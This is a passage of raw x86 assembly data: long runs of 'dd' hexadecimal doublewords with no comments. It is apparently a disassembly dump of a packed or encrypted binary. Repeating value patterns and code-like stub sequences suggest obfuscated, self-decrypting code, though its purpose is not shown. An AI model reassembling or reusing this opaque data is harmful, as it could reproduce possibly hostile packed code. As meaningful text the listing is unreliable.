0B58D0000h, 64E1934h, 95FF5356h, 648315Dh, 1934B58Dh dd 0F003064Eh, 1E9h, 3E804E00h, 9840F5Ch, 80000000h, 850F2F3Eh dd 0FFFFFFEDh, 8D0006C6h, 4E193485h, 95FF5006h, 64E1930h dd 3EE0FF58h, 0D826D9F5h, 0F55AF6EBh, 0A82A6934h, 0A01F5050h dd 581E9291h, 43CCD41h, 0DD6F5945h, 9327A518h, 0AE7A5A23h dd 0A81E64BCh, 730F062Bh, 5E1CA042h, 0AF7E2AECh, 1F0D523Ch dd 0CF13A4F9h, 9B69ADF9h, 37257EDDh, 4068771Dh, 8D40813Eh dd 4E388A8Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1804h, 0C3534300h, 71F4976Ch, 58D8919h, 0F064814h, 85C7DEB7h dd 6483025h, 6EFCh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 15h, 48C35141h, 0BA66F5B5h, 85C785B1h, 6482AD9h dd 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0A1C35343h dd 0C2842DE3h, 27654EF3h, 0FF5A5640h, 480D3DB5h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 6C98F7FDh, 0B70FDF95h, 7195FFFAh, 0FC06480Eh, 95FF006Ah dd 648092Dh, 1BEBC08Bh, 21FFE7A4h, 2E0C2833h, 64E8813Ch dd 0EB6A2A88h, 66B13023h, 812ECB22h, 0EB8E4FEAh, 0B61B9026h dd 8EAFEC33h, 64746E55h, 642E6C6Ch, 88006C6Ch, 34074621h dd 0ABA3D25Dh, 256AC3h, 0 dd 0E9000000h, 6B7h, 4E3A3068h, 4593E906h, 768FFFAh, 0E9064E3Bh dd 0FFFA4589h, 4E3BC068h, 457FE906h, 8C68FFFAh, 0E9064E3Ch dd 0FFFA4575h, 4E3D4C68h, 456BE906h, 2268FFFAh, 0E9064E3Eh dd 0FFFA4561h, 7010EF96h, 0F99B9E24h, 6D0F1AADh, 0D0B0B131h dd 5B3938C4h, 0C7635B38h, 54EAA6C2h, 0F27F2B49h, 62019DFFh dd 374E0567h, 726C2167h, 8E19AF7Ch, 2A67h, 0EC720E00h dd 96E380F1h, 7B3CDAF8h, 0C2E54D22h, 8AFBFE85h, 0E77E75FEh dd 93A465B2h, 842A4D9Ah, 7D2A6AE4h, 0D35E7624h, 0B917BCDCh dd 7549DC7Eh, 7C6C64D8h, 6332432Ch, 852D2CC9h, 6C638DD7h dd 550AC47Ch, 0A93F8873h, 2A841BDBh, 7C6C6F6Eh, 4AF3D7Ah dd 9B337001h, 273B3h, 7BD9E800h, 2BBA605Bh, 6C430A53h dd 0BD425E7Ch, 0A024D1AEh, 2CDFD4D5h, 1E360E1h, 0E3A5F990h dd 0F17C6C9Dh, 87041DA5h, 0AE328AF2h, 1A94217h, 9B310253h dd 0EBB18A40h, 0B44BE57Ch, 23A9EFBFh, 4837388Bh, 55FDBACBh dd 0D355E607h, 3445223Eh, 0D3AB5F58h, 3A52F295h, 50C74423h dd 9E72967Eh, 1285E240h, 92FEF57Eh, 2F927D06h, 91D7A797h dd 5F388933h, 5DBB2750h, 0F99BBBF9h, 0DE5FF38Dh, 7519EE51h dd 601F503Ah, 4C1F2h, 350CB500h, 0BCB93B57h, 203FC0DCh dd 0D5AC5440h, 5A5FDBB7h, 84BC153Eh, 0F9BF9F8h, 900C6C79h dd 1A761215h, 65FE9A99h, 6D3C7C52h, 36887C72h, 0E8FE856Dh dd 7D3A4B56h, 0CD4A47EFh, 25E7D0BCh, 5431BB2h, 0D3762433h dd 0B8BF44D4h, 9104AACBh, 6C46A03Dh, 0B10D647Ch, 7C6C46F7h dd 5F3DBAC5h, 9128B51Fh, 6C467B3Dh, 0B03D497Ch, 0C29A30B1h dd 0EAC453F9h, 82B456A3h, 98D0AEC7h, 2476244Dh, 0A03EDA5Bh dd 0EC2077Fh, 57CE8CB7h, 8D842CC0h, 306ACFCh, 1EB43572h dd 0A069DB0h, 710E6915h, 0EF66241Fh, 1242E6BAh, 0EC42E382h dd 77199229h, 0DB73BD65h, 7B8F0075h, 453D83A5h, 0C05EFEDh dd 54531B45h, 81842FC1h, 90CB7E3h, 1F437B6h, 108E017Ah dd 3EAh, 8CECE382h, 0F5979210h, 791B0699h, 0EC8C852Dh dd 573534B0h, 0D35F674Ch, 40E6B2DEh, 0CE6B2745h, 76FDA9CBh dd 2B421173h, 726E1553h, 8A1DA37Ch, 650FFE85h, 0A1A693A0h dd 0BDC8B926h, 29104826h, 65397625h, 76252923h, 9BAF6B1h dd 6CF60DC2h, 57FF7CD4h, 871EBC87h, 6D096A37h, 9BF9867Ch dd 0F4CB760Ah, 0FC50E687h, 308E19C3h, 82BB3B28h, 0C1A98F4h dd 61EE6F7Ah, 26CD5FF6h, 640F8B23h, 4A702E95h, 0CCABD88Dh dd 6E6B1C0Ah, 93F17ED1h, 8797C07h, 4E43E37Dh, 19768431h dd 0EFD8DD82h, 4B74C86Eh, 11B81681h, 0DD7C72F8h, 60986BD2h dd 0F1AE0C51h, 33141h, 0A5BC4500h, 2C29CBC7h, 0D0CF504Ch dd 455CE4B0h, 0CACF6B27h, 142C85AEh, 9F0B6968h, 207C1C09h dd 0AAE68285h, 0F56E0A09h, 6DCC8CE2h, 46187C72h, 0FBFE85DDh dd 0A7F9C28Ah, 1B033DF5h, 0B92CADCDh, 0FE0C4C22h, 0DFD87624h dd 0CDC09E77h, 197C6D01h, 8C44F29Eh, 0C3000001h, 5B6480D9h dd 54826B1h, 217C6C43h, 0A82CBA46h, 0E071A938h, 0E9A235D7h dd 0AB6D1D47h, 953D51h, 0E0A28FAEh, 3BC5BE6Fh, 214779C6h dd 0E6813199h, 4DFCC789h, 0B225A2A7h, 0AC28F8DCh, 59354C71h dd 699B3B1Fh, 0CAD9AEAAh, 0C5B7DF35h, 8E0F0AA9h, 79FA9601h dd 72D8468Eh, 30B1FD2Fh, 5882ECA5h, 10B4D0B6h, 0F1722EBAh dd 365E4BF2h, 0A7581F28h, 26537h, 69680900h, 10159F0Bh dd 84832470h, 908A8E4h, 0BEB33F6Bh, 0D8E0B1D2h, 633F5D5Ch dd 0F4A0C0DDh, 7E2A7649h, 0C192FEF5h, 6E98D0AEh, 82247C72h dd 0FBFE8501h, 53F9C28Ah, 46D3EAC4h, 68177C6Ch, 4E66C008h dd 6E40D775h, 82B4571Fh, 27B92C4Bh, 70178580h, 0B32D3D95h dd 50636D8h, 0C7972EC5h, 5062581h, 3672204Fh, 82050626h dd 0C6F14DE5h, 19966B17h, 0F58C1B98h, 0ADDADF5Bh, 0D56866CCh dd 110B4E4Fh, 8CB71996h, 774750DDh, 0FECE0D31h, 273F0BFh dd 1D71E465h, 5198BB7h, 5E1A740Dh, 6A0506D7h, 87198C0Dh dd 0C8980DFCh, 6F2D5DDCh, 6D1682EEh, 0AEC8D796h, 1FE83BDh dd 1A591h, 2928C900h, 0D0D55F4Bh, 4443E4B0h, 0C9C86824h dd 7E73FFABh, 98A0F112h, 237F1D1Ch, 0B4E0809Dh, 3E6A3609h dd 1D2BEB5h, 6F58106Eh, 0C2647C72h, 0FBFE8541h, 53F9C28Ah dd 38962DC4h, 76243280h, 0CD8B234Ch, 7C6C4684h, 1B15AB45h dd 0B2189984h, 0C9D46A06h, 0B98B2848h, 0B4F4CA7Eh, 0E5762432h dd 2432CF89h, 0E6921D76h, 1A93DE6Dh, 0D15E0D8Eh, 502EC550h dd 7624BD18h, 0A273DBA4h, 0F0F1710Bh, 7071F183h, 0F57D5BF3h dd 0D67C72F5h, 0C8B9A43Ah, 87703ABh, 6560039Dh, 0FEE88B07h dd 33097A69h, 0F8144173h, 762657D4h, 46188F4Dh, 82C10BAAh dd 0F28E1966h, 7A167271h, 0C38DFAF9h, 0EBC352F8h, 7C6CFB4Ah dd 6560029Eh, 57169714h, 0C57703Eh, 0CFE79708h, 0A7000000h dd 3561031Eh, 0B2EE8A8Fh, 46523E2Dh, 0D5C1A3BEh, 2B482829h dd 0F3F6724Ah, 66630591h, 0ECE38E1Ah, 9493108Ch, 76485FF4h dd 7C727132h, 0B97F28BEh, 7549DC7Eh, 7C726BF5h, 40572443h dd 74D0404Bh, 6CFC36ECh, 0A868CEC1h, 4441A0Bh, 0D07C7294h dd 5E4A56D7h, 0B2F6C8D5h, 3E7C7293h, 4346E371h, 0A9E2B5C2h dd 2AF112Ch, 44317E0Fh, 0AB033EC1h, 970F072Dh, 0B2B73D9Fh dd 9CDCB2C5h, 289B8F0Ch, 4A55DD4Fh, 8F0D3474h, 66E7809Bh dd 403F7109h, 0BD21777Fh, 59C61B06h, 0BC63D892h, 13818020h dd 5C3C9297h, 0E4B0D0D7h, 33CD585Fh, 0B3C1BEB3h, 24453237h dd 10600FA7h, 65E09190h, 41E236F5h, 0C96A2642h, 30DBDCAh dd 8A000000h, 0FC85DA41h, 7F0494E5h, 0FC790B78h, 6AFC8CFDh dd 0F6720E7Fh, 4AF682F3h, 0CA6A0677h, 55EA86F7h, 0C96B3976h dd 68B9BFCCh, 3AF1h, 68243489h, 3BE9h, 57240C89h, 0C781E789h dd 4, 8704EF83h, 895C243Ch, 0D5682434h, 89000068h, 97BE2434h dd 810D2E2Fh, 4E56F7EEh, 0A1C68138h, 8134F35Eh, 0E83A97F6h dd 0D6F74E27h, 0B917EE81h, 0F189CB76h, 348B545Eh, 4C48324h dd 8904EC83h, 468F240Ch, 2434FF08h, 4C4835Eh, 592434FFh dd 4C481h, 0EAE90000h, 29FFFA3Eh, 0B8D16AB8h, 64E3F16h dd 0E0FFC503h, 7FE38037h, 679587F9h, 1D7A327h, 1442A64h dd 6F9F0CE9h, 45A72C78h, 3C02F253h, 1A2B3062h, 153DC2DDh dd 5C2FE151h, 12D1008Ch, 6D460E53h, 41A70456h, 776D116Ah dd 4C78380Fh, 5E2C7076h, 66B7A17Ah, 0A92CEA9h, 1173990Dh dd 25645616h, 330C2E95h, 50259941h, 7C82421Eh, 17B8E536h dd 1B4853h, 5DC87220h, 3C0A128Bh, 6C0DB54Fh, 40A55F99h dd 0DE8h, 0C3BF6100h, 0F28DC2E6h, 40940550h, 0F6061BEh dd 28Bh, 66D68B00h, 0C15AEB81h, 0B70F5961h, 14C181DFh dd 0BA000070h, 0 dd 34FFDF8Bh, 81EF800Ah, 0FA8B6658h, 0C410C081h, 0CDBB2168h dd 81457923h, 0A0E28BF0h, 0E956500Bh, 12h, 0D9F26BDh, 0A0FAEE3Ch dd 0E0B00ABAh, 905FC2F8h, 5E5E1350h, 25DFF081h, 666006C0h dd 8166CB8Bh, 61941DE9h, 8C0F5350h, 6, 870Fh, 8F5B0000h dd 0BF661104h, 840FCC72h, 7, 85D3BF52h, 835F7C05h, 0DE8B03EAh dd 0C7F3814Ah, 81531306h, 0FF90C4FAh, 19850FFFh, 66000000h dd 26E9F78Bh, 0B8000000h, 0F9FEC317h, 72BD3148h, 579B2F71h dd 12E2B1F4h, 0E9F6BF0Fh, 0FFFFFF5Eh, 0C84ADAE4h, 180D43FBh dd 0CF5A4010h, 8EBACh, 0EB000000h, 0E94B841Eh, 48Ah, 4E41EE68h dd 3D6FE906h, 5868FFFAh, 0E9064E42h, 0FFFA3D65h, 4E43A068h dd 3D5BE906h, 159CFFFAh, 80227E1Ah, 14ABE785h, 0B73F6B09h dd 26C2DEBAh, 55224123h, 0A0C0C16Dh, 157752F4h, 9FFDFC79h dd 7656003h, 2365394Ch, 0B17C7274h, 0EC80742Fh, 35E54D44h dd 831D8889h, 0E1A7F7FCh, 0EF762432h, 35720380h, 0F5871E9Dh dd 7B384948h, 3C4D4CE9h, 0B83BD77Fh, 2A712ABDh, 0AC354EF8h dd 868325B7h, 862288E9h, 0D84F0D36h, 6D277B86h, 0BBC8B77Ch dd 6D16692Bh, 8976E07Ch, 0A9EA649Fh, 2B8BEDBh, 0D9E50000h dd 0A7655E76h, 430F5E30h, 5C5B7C6Ch, 0A7DB22BCh, 0E8D379D1h dd 6EDBB322h, 0FA7799AAh, 0B780CCBDh, 222C8215h, 0C679D1D2h dd 9199DFAFh, 4B277151h, 0AF2CADA8h, 0EC1FA438h, 49902264h dd 7E1A9BD1h, 3B828122h, 177299B8h, 0E361118Eh, 6B000002h dd 0F995F7CAh, 86127E7Bh, 0A86E2E1h, 99F5976Ah, 577C1C1Dh dd 0A7BA467Eh, 2A37C9C5h, 0D0D7524Eh, 585FE4B0h, 0BA14AB38h dd 7C7273FEh, 0B99374CAh, 7549DC7Eh, 7C72741Dh, 4441A6Bh dd 0D07C7273h, 2DBF56D7h, 14119381h, 0C06C0097h, 5BF3B0C1h dd 0D2D7534Fh, 724E15A5h, 0F97A7C72h, 0A14643FAh, 0BF7018EEh dd 2790Fh, 5D54DD00h, 0C4C1633Fh, 4857E8A4h, 0FDF47C28h dd 6267039Fh, 0AC94FD06h, 37630100h, 0B8D4B491h, 425E3A3Dh dd 0DC6A2A1h, 7464247Ah, 0EE707C72h, 0DC7EB935h, 741D7549h dd 0C6B7C72h, 72A5EF7Fh, 32AC7C72h, 52A05B4Dh, 0AF7ADBAFh dd 53000001h, 933B26B9h, 0FBFE85F0h, 7E75FE8Ah, 0D4AD55E7h dd 5070C6A7h, 0A9D3F78h, 56B03E73h, 0F18E8323h, 6F34C7B0h dd 8DB01EB4h, 597C6C6Eh, 8835C75Eh, 86071A9Ah, 952288E9h dd 6C6D7FC5h, 0CEC3CA7Ch, 0CAFDC7B7h, 3AB41A9Eh, 0EBB86345h dd 3762DBA9h, 0B9000000h, 49DC7EB9h, 9F921EB2h, 40109937h dd 0D3DC7C6Ch, 33DED3A2h, 0AAC3413Dh, 652FAD05h, 0EC7C6D1Fh dd 29628D72h, 89B1E5Dh, 5A72D881h, 0DBA919A1h, 0B77Bh dd 0B80A000h, 0B7570521h, 1F9B0997h, 0A60C6D1Ah, 3D4A49EAh dd 0B1CEC36Fh, 344540E3h, 2D38CF61h, 6B6E1585h, 37F35F09h dd 169D7624h, 0D8809CE7h, 0D9B5C321h, 7625079Fh, 44C5422Dh dd 0A16B5424h, 0A9ED5836h, 3E797C6Fh, 7B6915A7h, 1E7AFBFEh dd 73F0E682h, 0A74C0C62h, 1F987C6Eh, 0C9EBE59Eh, 0BE672E09h dd 2F118E31h, 78370C56h, 131CAh, 859C2500h, 0C09ABE7h dd 0B0AF306Ch, 253CC4D0h, 0AAAF4B47h, 0F4CCA5CEh, 7F2B4948h dd 9CFCE9h, 8A066265h, 0D58EEAE9h, 75ACECC2h, 0A6387C72h dd 0F8F985FDh, 60670C98h, 0D8C55BF5h, 4A3F5672h, 0B9CAE4AEh dd 0A30B80h, 8AFBFE85h, 0C4C561FBh, 201A26Eh, 7C2D1666h dd 0E372F3F6h, 0E915574Ch, 4D867B23h, 922DF7E5h, 0FCBB7C6Ch dd 0AFD9D269h, 1313C562h, 119D7DD5h, 55EB8510h, 0D47A3B48h dd 0B75A1AB4h, 0E58E7C6Ch, 9E1382EEh, 0DD1BCADDh, 7077FCB6h dd 25B386F3h, 7C006CC1h, 0BBBE3AD6h, 713902Ch, 8BF8797Ch dd 603744EAh, 882E21CCh, 7DEAh, 7EB96900h, 0DE5049DCh dd 75BC1A6Eh, 9FEFA60Ch, 7C7295C7h, 8B199611h, 7174FEE8h dd 2FCB65F0h, 0A8E4842Ah, 0EF7F0C0Bh, 0CA3CED8Ah, 24CCB36Fh dd 0A9F8989Fh, 0B94EDF0h, 0FD553C93h, 0AB67961Dh, 8A992E8Ch dd 47CBBCFDh, 79FF6DC5h, 0EAE3DA35h, 0D9FEC6Dh, 40E67A65h dd 0E6531545h, 661C1A8h, 40950E99h, 7737476h, 37DEDD75h dd 971CC4BBh, 1FA4F090h, 3FB6B18h, 58000000h, 0FC85DA41h dd 7F0494E5h, 0FC790B78h, 6AFC8CFDh, 0F6720E7Fh, 4AF682F3h dd 0CA6A0677h, 55EA86F7h, 0C96B3976h, 57B9BFCCh, 0C7815F54h dd 4, 8704EF83h, 565C243Ch, 0C681E689h, 4, 8704EE83h, 895C2434h dd 89512434h, 4C181E1h, 83000000h, 0C8704E9h, 1C895C24h dd 0ED685524h, 5D677C78h, 41C4B850h, 0C52912FDh, 3DED8158h dd 81301E34h, 12C1D3EDh, 5DEE891Eh, 241C8B54h, 4C481h dd 8F560000h, 34FF0843h, 0C4815B24h, 4, 5624348Bh, 0C681E689h dd 4, 4C681h, 34870000h, 0F6E95C24h, 0D0FFFA38h, 0A130B393h dd 0F6B898C8h, 3064E44h, 0BFE0FFC5h, 495E0271h, 3312545Fh dd 0B0071F47h, 0D34D3C42h, 8B7EBF9Ah, 0D0377759h, 0B75CF22Ah dd 2C27921Eh, 0E20B67D2h, 3F4537DFh, 0CC559EA0h, 6860E55Ah dd 36602475h, 35004F47h, 8C101F2Eh, 776E2134h, 0E065222Ah dd 791430DEh, 19740EA0h, 0EA2D231Dh, 0F701C80Eh, 2F17E540h dd 0C10D7D91h, 13325A7h, 6900F2DDh, 0C10D07F5h, 0BB6F1015h dd 0CD2E1F67h, 0EA1D6247h, 6364706Ah, 0FE3308D4h, 0E854B27Ch dd 13h, 2ECFEC20h, 2A7A07Dh, 96A1B64Fh, 0AF4B68A7h, 5ABED582h dd 9E8h, 98FB9F00h, 8D7CE9F0h, 8B6620FCh, 0C2815BDEh, 6626h dd 80F68166h, 8005B970h, 0E9812A58h, 2A5866B1h, 0C715C3BBh dd 0E93A8B66h, 8, 92B9B32Ah, 948E189h, 7C05C781h, 81664150h dd 81B90FD8h, 0C7AC84C7h, 0F3EF8078h, 1F5AEF81h, 9E87DE0h dd 0CF000000h, 0BC564D06h, 1A016058h, 13E9h, 667A4500h dd 63688F65h, 0D9D91DF4h, 967455Dh, 8DCECA12h, 0EE81575Bh dd 5A4CF4C0h, 83F9028Fh, 585303EAh, 0AE84Ah, 757E0000h dd 0FF08A8ADh, 31684D58h, 5EF78B66h, 0E850F49h, 0B7000000h dd 18E929h, 9B790000h, 3892CE09h, 26F1B85Bh, 6EE971E6h dd 0DFFFFFFFh, 63D7420Eh, 8D8D6C95h, 64E47C4h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 17C35545h, 8D89B63Dh dd 6481405h, 8DEE8166h, 2585C7B0h, 0BC064830h, 6A00006Fh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 92C357h, 0A9712E4h, 0F95B7D6Bh, 2AD985C7h dd 648h, 81660000h, 0FF1FFDE2h, 480E25B5h, 50006A06h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 1FAC89A7h, 6652B162h, 58C578B8h, 0E7195FFh, 6A0648h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 61A9A6C3h, 545ED61Eh, 0BF350E68h, 10186F6Bh, 12898509h dd 6A0648h, 92D95FFh, 0C08B0648h, 9DA42BEBh, 501CE31Ah dd 43EAAD8Fh, 0F4302032h, 0B2F61E8h, 0AC46D7CFh, 0A643BE92h dd 88C2C37Bh, 4AFD7648h, 40521771h, 11B4108Ch, 0A68D8DFCh dd 89064E48h, 48181D85h, 58D8906h, 8B064814h, 0DDBD8BC7h dd 0C7064829h, 48302585h, 6A9006h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 0DE5D28EAh dd 599D8927h dd 0C706481Bh, 482AD985h, 6, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 0A62CE19h dd 8D89E848h, 648068Dh, 1221B5FFh, 0BD290648h, 64827F1h dd 0E7195FFh, 6A0648h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 160424h, 57470000h, 3DFF93C3h, 95FF006Ah, 648092Dh dd 3AEBC08Bh, 9F726BB1h, 4B727FF9h, 0F5ED6889h, 0B3C5FFABh dd 615198C2h, 6B1C0C36h, 0F4AA85FFh, 839CE39Ah, 0D734FF54h dd 0AB2C715h, 11446338h, 711DDC6Ch, 34AE87C0h, 587185B4h dd 0E85368FFh, 565DB13Eh, 2ACF232h, 5655F201h, 56ABB132h dd 43D5B132h, 95EAE800h, 5675EB41h, 56BAB132h, 565DB132h dd 56AEB132h, 5657B132h, 56ABB132h, 56D5B132h, 56EAB132h dd 5675B132h, 56BAB132h, 545DB132h, 81AEB132h, 5457B935h dd 59ABB632h, 72D5A832h, 56E81E32h, 5677F632h, 4B8F632h dd 565DA0DBh, 2DA4C432h, 18140AAh, 0A5C99C76h, 197B9882h dd 7A6354EEh, 5675B616h, 6FBA3232h, 0A3716E4Ch, 0EF4E968h dd 56515862h, 81FDB132h, 25371CF6h, 0CE91BBA0h, 122267C3h dd 0E649D31Fh, 8A121F1Bh, 0CBC50BD7h, 666BE53h, 59F9E160h dd 598DEB03h, 56E45803h, 692BB132h, 0DD0E43Eh, 616B60CAh dd 856CBC96h, 0E0DE968h, 0CB301BA4h, 68DEB53h, 5103E362h dd 4575B132h, 39F4F862h, 6752B44Eh, 56AEB7DBh, 42309732h dd 0CA8038Fh, 0E8F276Ah, 0AE0731A5h, 5675B7DBh, 0F28D8732h dd 0CB8E733Fh, 45472D53h, 7957B132h, 1DB1740Eh, 7133F01Ah dd 9598CCE6h, 49CBC872h, 0BF3B845Eh, 1DAF16Ah, 56AEB7DBh dd 52402732h, 0CB1893DFh, 0B91B2153h, 5D3034CEh, 88FED1AFh dd 56BAB4DAh, 89238832h, 37F6441Eh, 72133853h, 8720D136h dd 56D058AEh, 7843B132h, 0D710EDFDh, 0DAEEF9FAh, 565B5866h dd 91A8B132h, 35C5ACC6h, 0BEF3D0AFh, 56D5B121h, 8C6F4DDDh dd 0F0745939h, 648725D5h, 2864B1B1h, 595B9DEDh, 370D7E85h dd 56ABB16Ah, 56D5B132h, 56EAB132h, 5675B132h, 56BAB132h dd 565DB132h, 56AEB132h, 5657B132h, 56ABB132h, 56D5B132h dd 56EAB132h, 5675B132h, 56BAB132h, 565DB132h, 56AEB132h dd 5657B132h, 56ABB132h, 56D5B132h, 56EAB132h, 5675B132h dd 56BAB132h, 565DB132h, 56AEB132h, 5657B132h, 56ABB132h dd 56D5B132h, 56EAB132h, 5675B132h, 56BAB132h, 565DB132h dd 56AEB132h, 5657B132h, 56ABB132h, 56D5B132h, 56EAB132h dd 5675B132h, 56BAB132h, 565DB132h, 56AEB132h, 5657B132h dd 56ABB132h, 56D5B132h, 56EAB132h, 5675B132h, 56BAB132h dd 565DB132h, 56AEB132h, 5657B132h, 56ABB132h, 56D5B132h dd 56EAB132h, 5675B132h, 56BAB132h, 565DB132h, 56AEB132h dd 5657B132h, 56ABB132h, 56D5B132h, 56EAB132h, 5675B132h dd 56BAB132h, 565DB132h, 56AEB132h, 5657B132h, 56ABB132h dd 56D5B132h, 56EAB132h, 5675B132h, 56BAB132h, 565DB132h dd 56AEB132h, 5657B132h, 56ABB132h, 56D5B132h, 36EAB132h dd 5675B1DAh, 0BC3BEB32h, 5013FA96h, 0CBF634BFh, 0D4DEB77Fh dd 50E5F9C8h, 89D333BFh, 0D463B77Ch, 503BF9CCh, 56B3FFDAh dd 56265932h, 0D469B132h, 5019F9D8h, 56ABB132h, 0AF507760h dd 0ECF93Dh, 0FECDE35Ah, 0FF0F4EAEh, 0DB5BF91Bh, 1DD1D1B7h dd 0DF874E34h, 1E817CB7h, 3ED1DB34h, 56EAA132h, 5578F15Ah dd 0A9BADB32h, 9656EBE2h, 0D4278246h, 5019F9D8h, 1E4533BBh dd 166CB77Ch, 0DDEAB23Fh, 0A5B582CAh, 52D0E398h, 564DB15Ah dd 52AED932h, 563DB132h, 7C6623CDh, 0DF8FB77Ah, 18A38FB0h dd 0D3FED034h, 50F4F9D8h, 0D49AD1F1h, 50E6A24Fh, 5617B132h dd 535E33F5h, 46D5B77Ah, 958BB132h, 0BCCF3A52h, 0D5BCFF7Ah dd 7529B10Dh, 54BECEB1h, 29D4BA46h, 58DFB522h, 0BDC176B1h dd 46AD76D8h, 5675B133h, 117D43D9h, 565DB222h, 37475A32h dd 0BADCE4F1h, 56AB5952h, 0D78FB132h, 18A628D8h, 14C73A34h dd 0DDBCFF7Bh, 50D4B977h, 1FEC33B1h, 3753B77Ch, 56AF73FBh dd 56D55952h, 0D7B0B132h, 18390CD8h, 68083A34h, 6D5BFF7Bh dd 18E7F380h, 0DD6CC534h, 59743A0Ch, 0A0D4FE84h, 236AB075h dd 0BDACB236h, 15639A30h, 0B7D83A71h, 0DDA8F900h, 1E54B4BFh dd 24738A34h, 210C8A3Bh, 522C3237h, 994E78D9h, 0EB33B946h dd 5015B237h, 95CF06D9h, 56575952h, 0D7F1B132h, 1898A4D8h dd 68503A34h, 0EF73FF7Bh, 56BAB032h, 0FDAE7101h, 1F9033B9h dd 0D4DEB77Ch, 50E5F870h, 0BEB57253h, 56EAB132h, 699F3068h dd 90BCFF7Fh, 1E5248B7h, 6FC6E734h, 0A983AE5Fh, 1E821887h dd 36503C34h, 0A9ECFA4Dh, 3E25E3E2h, 56BA3132h, 0E4A2B158h dd 50E0F9D8h, 0C0F61CDh, 562BB15Ah, 0A9D5DB32h, 18A38F80h dd 37A54E34h, 0BA31E4F1h, 565D5952h, 0D7F4B132h, 181A3CD8h dd 5EDE3A34h, 56D729DAh, 0C415E432h, 503BF9C8h, 5ACF8A6Fh dd 0D0B55F47h, 37AEB130h, 565F73FBh, 0D5473A67h, 1834DF6h dd 56EA5961h, 0D72FB132h, 18F770D8h, 5E283A34h, 1BECCB9h dd 56605964h, 96A0B132h, 0AE5E9046h, 0AC784E67h, 0B73FF7Ah dd 22B6C409h, 48D6D720h, 0DC5E56B2h, 0A6B4312Ch, 56AD2CDAh dd 0DF015A32h, 0B024D4Fh, 0D8A4ECCh, 1331EF6Dh, 5A9F78CEh dd 0BA25E432h, 1AF75B1h, 91F8E064h, 56D54977h, 0D42DB132h dd 503BF818h, 56BAB133h, 3055C4B9h, 0EC25AFB9h, 5019F9D8h dd 5DA3EEB9h, 6DDAC5E9h, 0DDECC4ECh, 9FCBD6Fh, 427D323Eh dd 0DD3B5BD9h, 0BE55312Ch, 5699353Dh, 0AD2BB132h, 9351BEDBh dd 0D6EAB132h, 0D27A5AC9h, 56BAB18Eh, 59BF4AB2h, 56AE1DB6h dd 0B5AC3132h, 5631353Dh, 0D7B3B132h, 5909D6C9h, 567529B6h dd 0A65D3132h, 59A63054h, 0C72ABEB2h, 0D657B132h, 0AD2B41D1h dd 0D351BE42h, 30EAB132h, 0B5F5AFB9h, 0EE4131CAh, 68DDF346h dd 0D693C537h, 6E239C0Ch, 22C38FB2h, 7C574E01h, 30ECFF7Bh dd 0B1F5AFB9h, 0AD3BD7CAh, 762959B3h, 0D6B03A54h, 0D73141D5h dd 226B30C9h, 0A980D121h, 18A24BA0h, 13FCEC34h, 2B39D0CEh dd 3528B0CEh, 45D30BB9h, 0DD07B77Ah, 18E29BB0h, 66E98834h dd 0DDBAC36Ah, 1E704488h, 0D431E134h, 5013F818h, 0E9E8D0Bh dd 46BC8C4Dh, 5453F4F5h, 0BDD5B132h, 0AEAF7635h, 5675B133h dd 1E500BB9h, 49D6B77Ch, 49DA6A39h, 59226F09h, 0D5A7ECB9h dd 22D5494Fh, 0AEB7B231h, 0D571EEBBh, 0B451A5F5h, 96B47101h dd 30AEB132h, 2BDCAFB9h, 0BD50313Eh, 0B555BB46h, 261131C2h dd 649EA746h, 9153B6F4h, 565DB075h, 9125B132h, 0BF5271B1h dd 56ABB1A5h, 59D27654h, 0D6F43B3Ah, 9DF5BED1h, 57E539B2h dd 565FF6F5h, 0DDAEB132h, 509732F5h, 0D7CDC8D9h, 2245210Ch dd 0C6D4313Dh, 0D713BF47h, 0C62A4E4Ch, 52B6B346h, 94576B9h dd 1F1133BFh, 0FBB77Ch, 1E2B23CDh, 96E1B77Ch, 9EFEBB46h dd 1FFC03BFh, 46B6B77Ch, 3603A64h, 1EAD23CDh, 7DF6B77Ch dd 80C46FCh, 5712CCB1h, 1FC5A147h, 5902D798h, 59F6D7B7h dd 0FDAFF784h, 2BD4AAD9h, 45DEB3CAh, 9FDE0954h, 0EE8C1A54h dd 0FD13353Dh, 57FC073Dh, 0A55F5A99h, 0D693A96h, 9F08EF6Bh dd 3ABB9F0h, 0BEB55DB9h, 56EAB132h, 499F3068h, 0DDBCFF62h dd 0D4D4B977h, 50E0F9C0h, 52957853h, 0BA20E432h, 362D75B1h dd 56EAB1DAh, 0BCF4EB32h, 50F4E172h, 56A5F4F5h, 91AEB132h dd 56574D77h, 9698B132h, 91CB3A54h, 18A39BB0h, 5675B034h dd 0AD3BD732h, 562821A2h, 59464AB2h, 5656B9B6h, 0AD2BF132h dd 0A851BEDBh, 16EAB132h, 599E4AB2h, 56BA45B6h, 0B1DDF132h dd 0AD2FD7C2h, 0D258313Dh, 56ABB1D7h, 56543331h, 0D6AAB77Ah dd 0D27A53C9h, 56BAB1FCh, 59BE4AB2h, 56AE0DB6h, 0ADD6D732h dd 0D2A45255h, 56D5B188h, 0D61A52B2h, 0D27AC1C9h, 56BAB187h dd 0D6433A54h, 0AD2E49D1h, 0D610C58Ah, 14DFB40Ch, 22F88FB2h dd 3ED4310Fh, 0A9358946h, 18F39BB0h, 48D6D734h, 305656B2h dd 0BED64AB3h, 0DDCD9546h, 0A632312Ch, 0D7113054h, 3662C5F2h dd 0AC284E67h, 0B5BFF7Ah, 3752F4BBh, 57ABCCB1h, 5783343Dh dd 0EC5EB132h, 50A2A24Fh, 7CF73A62h, 6FBCFF7Bh, 5905810Eh dd 56AFA0B0h, 0A3ED3A32h, 6ADF937h, 1FFF33B9h, 6AD3B77Ch dd 